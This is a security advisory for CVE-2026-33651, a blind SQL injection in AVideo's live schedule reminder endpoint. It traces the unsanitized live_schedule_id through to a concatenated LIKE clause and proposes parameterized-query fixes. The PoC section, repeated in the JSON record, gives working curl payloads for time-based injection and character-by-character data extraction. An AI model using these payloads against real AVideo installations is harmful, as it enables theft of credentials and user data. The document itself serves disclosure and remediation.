GHSA-PVW4-P2JM-CHJM

Vulnerability from github – Published: 2026-03-25 17:50 – Updated: 2026-03-25 17:50
VLAI
Summary
AVideo has a Blind SQL Injection in Live Schedule Reminder via Unsanitized live_schedule_id in Scheduler_commands::getAllActiveOrToRepeat()
Details

Summary

The remindMe.json.php endpoint passes $_REQUEST['live_schedule_id'] through multiple functions without sanitization until it reaches Scheduler_commands::getAllActiveOrToRepeat(), which directly concatenates it into a SQL LIKE clause. Although intermediate functions (new Live_schedule(), getUsers_idOrCompany()) apply intval() internally, they do so on local copies within ObjectYPT::getFromDb(), leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents.

Details

The vulnerability involves a 6-step data flow from user input to an unsanitized SQL sink:

Step 1 — User input (no sanitization): plugin/Live/remindMe.json.php:15:

$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);

Step 2 — Auth check passes for any user: plugin/Live/Live.php:4126:

if (!User::isLogged()) {
    $obj->msg = __('Must be logged');
    return $obj;
}

Step 3 — intval() applied only internally, original variable unchanged: plugin/Live/Live.php:4141-4143:

$ls = new Live_schedule($live_schedule_id);  // intval() inside getFromDb() only
$users_id = Live_schedule::getUsers_idOrCompany($live_schedule_id);  // same

objects/Object.php:84 (inside getFromDb()):

$id = intval($id);  // sanitizes the LOCAL parameter, not the caller's variable

With input like 1" AND SLEEP(5) --, intval() extracts 1, loads schedule ID 1 successfully. The caller's $live_schedule_id remains 1" AND SLEEP(5) --.

Step 4 — Tainted value flows to type string construction: plugin/Live/Live.php:4152Live.php:4193-4194:

$reminders = self::getLiveScheduleReminders($live_schedule_id);

// getLiveScheduleReminders calls:
$type = self::getLiveScheduleReminderBaseNameType($live_schedule_id);
// which builds: "LiveScheduleReminder_{$to_users_id}_{$live_schedule_id}"
return Scheduler_commands::getAllActiveOrToRepeat($type);

Step 5 — SQL injection sink: plugin/Scheduler/Objects/Scheduler_commands.php:340-347:

$sql = "SELECT * FROM " . static::getTableName() . " WHERE (status='a' OR status='r') ";
if(!empty($type)){
    $sql .= ' AND `type` LIKE "'.$type.'%" ';  // LINE 343: direct concatenation
}
$res = sqlDAL::readSql($sql);  // LINE 347: no parameterization

PoC

Prerequisites: Any authenticated user session, at least one live_schedule record (ID=1).

Step 1 — Baseline request (should return quickly):

curl -s -o /dev/null -w "%{time_total}" \
  -b "PHPSESSID=<valid_session>" \
  "http://target/plugin/Live/remindMe.json.php?live_schedule_id=1&minutesEarlier=10"

Expected: response in ~0.1-0.5s

Step 2 — Time-based injection (5 second delay):

curl -s -o /dev/null -w "%{time_total}" \
  -b "PHPSESSID=<valid_session>" \
  --get --data-urlencode 'live_schedule_id=1" AND SLEEP(5) -- ' \
  --data-urlencode 'minutesEarlier=10' \
  "http://target/plugin/Live/remindMe.json.php"

Expected: response delayed by ~5 seconds, confirming injection.

The resulting SQL becomes:

SELECT * FROM scheduler_commands
WHERE (status='a' OR status='r')
  AND `type` LIKE "LiveScheduleReminder_123_1" AND SLEEP(5) -- %"

Step 3 — Data extraction (example: first character of database user):

curl -s -o /dev/null -w "%{time_total}" \
  -b "PHPSESSID=<valid_session>" \
  --get --data-urlencode 'live_schedule_id=1" AND IF(SUBSTRING(user(),1,1)="r",SLEEP(5),0) -- ' \
  --data-urlencode 'minutesEarlier=10' \
  "http://target/plugin/Live/remindMe.json.php"

If the response is delayed 5 seconds, the first character of user() is r.

Impact

  • Full database read: An attacker with any authenticated session can extract all database contents character-by-character using time-based blind techniques, including admin credentials, user PII (emails, passwords), API keys, and session tokens.
  • Data modification: Depending on MySQL permissions, stacked queries or subquery-based writes could allow INSERT/UPDATE/DELETE operations.
  • Account takeover: Extracted admin password hashes or session tokens enable full platform compromise.
  • Low barrier: Only requires a basic authenticated account — no admin privileges needed.

Recommended Fix

Option 1 — Parameterize the query in Scheduler_commands::getAllActiveOrToRepeat():

plugin/Scheduler/Objects/Scheduler_commands.php:335-347:

public static function getAllActiveOrToRepeat($type='') {
    global $global;
    if (!static::isTableInstalled()) {
        return false;
    }
    $sql = "SELECT * FROM " . static::getTableName() . " WHERE (status=? OR status=?) ";
    $formats = "ss";
    $values = [self::$statusActive, self::$statusRepeat];

    if(!empty($type)){
        $sql .= ' AND `type` LIKE ? ';
        $formats .= "s";
        $values[] = $type . "%";
    }

    $sql .= self::getSqlFromPost();
    $res = sqlDAL::readSql($sql, $formats, $values);
    $fullData = sqlDAL::fetchAllAssoc($res);
    sqlDAL::close($res);
    $rows = array();
    if ($res != false) {
        foreach ($fullData as $row) {
            $rows[] = $row;
        }
    }
    return $rows;
}

Option 2 — Additionally sanitize at the entry point:

plugin/Live/remindMe.json.php:15 (defense in depth):

$_REQUEST['live_schedule_id'] = intval($_REQUEST['live_schedule_id']);
$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);

Both fixes should be applied for defense in depth.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33651"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T17:50:16Z",
    "nvd_published_at": "2026-03-23T19:16:41Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `remindMe.json.php` endpoint passes `$_REQUEST[\u0027live_schedule_id\u0027]` through multiple functions without sanitization until it reaches `Scheduler_commands::getAllActiveOrToRepeat()`, which directly concatenates it into a SQL `LIKE` clause. Although intermediate functions (`new Live_schedule()`, `getUsers_idOrCompany()`) apply `intval()` internally, they do so on local copies within `ObjectYPT::getFromDb()`, leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents.\n\n## Details\n\nThe vulnerability involves a 6-step data flow from user input to an unsanitized SQL sink:\n\n**Step 1 \u2014 User input (no sanitization):**\n`plugin/Live/remindMe.json.php:15`:\n```php\n$reminder = Live::setLiveScheduleReminder($_REQUEST[\u0027live_schedule_id\u0027], ...);\n```\n\n**Step 2 \u2014 Auth check passes for any user:**\n`plugin/Live/Live.php:4126`:\n```php\nif (!User::isLogged()) {\n    $obj-\u003emsg = __(\u0027Must be logged\u0027);\n    return $obj;\n}\n```\n\n**Step 3 \u2014 intval() applied only internally, original variable unchanged:**\n`plugin/Live/Live.php:4141-4143`:\n```php\n$ls = new Live_schedule($live_schedule_id);  // intval() inside getFromDb() only\n$users_id = Live_schedule::getUsers_idOrCompany($live_schedule_id);  // same\n```\n\n`objects/Object.php:84` (inside `getFromDb()`):\n```php\n$id = intval($id);  // sanitizes the LOCAL parameter, not the caller\u0027s variable\n```\n\nWith input like `1\" AND SLEEP(5) --`, `intval()` extracts `1`, loads schedule ID 1 successfully. The caller\u0027s `$live_schedule_id` remains `1\" AND SLEEP(5) --`.\n\n**Step 4 \u2014 Tainted value flows to type string construction:**\n`plugin/Live/Live.php:4152` \u2192 `Live.php:4193-4194`:\n```php\n$reminders = self::getLiveScheduleReminders($live_schedule_id);\n\n// getLiveScheduleReminders calls:\n$type = self::getLiveScheduleReminderBaseNameType($live_schedule_id);\n// which builds: \"LiveScheduleReminder_{$to_users_id}_{$live_schedule_id}\"\nreturn Scheduler_commands::getAllActiveOrToRepeat($type);\n```\n\n**Step 5 \u2014 SQL injection sink:**\n`plugin/Scheduler/Objects/Scheduler_commands.php:340-347`:\n```php\n$sql = \"SELECT * FROM \" . static::getTableName() . \" WHERE (status=\u0027a\u0027 OR status=\u0027r\u0027) \";\nif(!empty($type)){\n    $sql .= \u0027 AND `type` LIKE \"\u0027.$type.\u0027%\" \u0027;  // LINE 343: direct concatenation\n}\n$res = sqlDAL::readSql($sql);  // LINE 347: no parameterization\n```\n\n## PoC\n\n**Prerequisites:** Any authenticated user session, at least one `live_schedule` record (ID=1).\n\n**Step 1 \u2014 Baseline request (should return quickly):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -b \"PHPSESSID=\u003cvalid_session\u003e\" \\\n  \"http://target/plugin/Live/remindMe.json.php?live_schedule_id=1\u0026minutesEarlier=10\"\n```\nExpected: response in ~0.1-0.5s\n\n**Step 2 \u2014 Time-based injection (5 second delay):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -b \"PHPSESSID=\u003cvalid_session\u003e\" \\\n  --get --data-urlencode \u0027live_schedule_id=1\" AND SLEEP(5) -- \u0027 \\\n  --data-urlencode \u0027minutesEarlier=10\u0027 \\\n  \"http://target/plugin/Live/remindMe.json.php\"\n```\nExpected: response delayed by ~5 seconds, confirming injection.\n\nThe resulting SQL becomes:\n```sql\nSELECT * FROM scheduler_commands\nWHERE (status=\u0027a\u0027 OR status=\u0027r\u0027)\n  AND `type` LIKE \"LiveScheduleReminder_123_1\" AND SLEEP(5) -- %\"\n```\n\n**Step 3 \u2014 Data extraction (example: first character of database user):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -b \"PHPSESSID=\u003cvalid_session\u003e\" \\\n  --get --data-urlencode \u0027live_schedule_id=1\" AND IF(SUBSTRING(user(),1,1)=\"r\",SLEEP(5),0) -- \u0027 \\\n  --data-urlencode \u0027minutesEarlier=10\u0027 \\\n  \"http://target/plugin/Live/remindMe.json.php\"\n```\nIf the response is delayed 5 seconds, the first character of `user()` is `r`.\n\n## Impact\n\n- **Full database read**: An attacker with any authenticated session can extract all database contents character-by-character using time-based blind techniques, including admin credentials, user PII (emails, passwords), API keys, and session tokens.\n- **Data modification**: Depending on MySQL permissions, stacked queries or subquery-based writes could allow INSERT/UPDATE/DELETE operations.\n- **Account takeover**: Extracted admin password hashes or session tokens enable full platform compromise.\n- **Low barrier**: Only requires a basic authenticated account \u2014 no admin privileges needed.\n\n## Recommended Fix\n\n**Option 1 \u2014 Parameterize the query in `Scheduler_commands::getAllActiveOrToRepeat()`:**\n\n`plugin/Scheduler/Objects/Scheduler_commands.php:335-347`:\n```php\npublic static function getAllActiveOrToRepeat($type=\u0027\u0027) {\n    global $global;\n    if (!static::isTableInstalled()) {\n        return false;\n    }\n    $sql = \"SELECT * FROM \" . static::getTableName() . \" WHERE (status=? OR status=?) \";\n    $formats = \"ss\";\n    $values = [self::$statusActive, self::$statusRepeat];\n\n    if(!empty($type)){\n        $sql .= \u0027 AND `type` LIKE ? \u0027;\n        $formats .= \"s\";\n        $values[] = $type . \"%\";\n    }\n\n    $sql .= self::getSqlFromPost();\n    $res = sqlDAL::readSql($sql, $formats, $values);\n    $fullData = sqlDAL::fetchAllAssoc($res);\n    sqlDAL::close($res);\n    $rows = array();\n    if ($res != false) {\n        foreach ($fullData as $row) {\n            $rows[] = $row;\n        }\n    }\n    return $rows;\n}\n```\n\n**Option 2 \u2014 Additionally sanitize at the entry point:**\n\n`plugin/Live/remindMe.json.php:15` (defense in depth):\n```php\n$_REQUEST[\u0027live_schedule_id\u0027] = intval($_REQUEST[\u0027live_schedule_id\u0027]);\n$reminder = Live::setLiveScheduleReminder($_REQUEST[\u0027live_schedule_id\u0027], ...);\n```\n\nBoth fixes should be applied for defense in depth.",
  "id": "GHSA-pvw4-p2jm-chjm",
  "modified": "2026-03-25T17:50:16Z",
  "published": "2026-03-25T17:50:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-pvw4-p2jm-chjm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33651"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/75d45780728294ededa1e3f842f95295d3e7d144"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has a Blind SQL Injection in Live Schedule Reminder via Unsanitized live_schedule_id in Scheduler_commands::getAllActiveOrToRepeat()"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…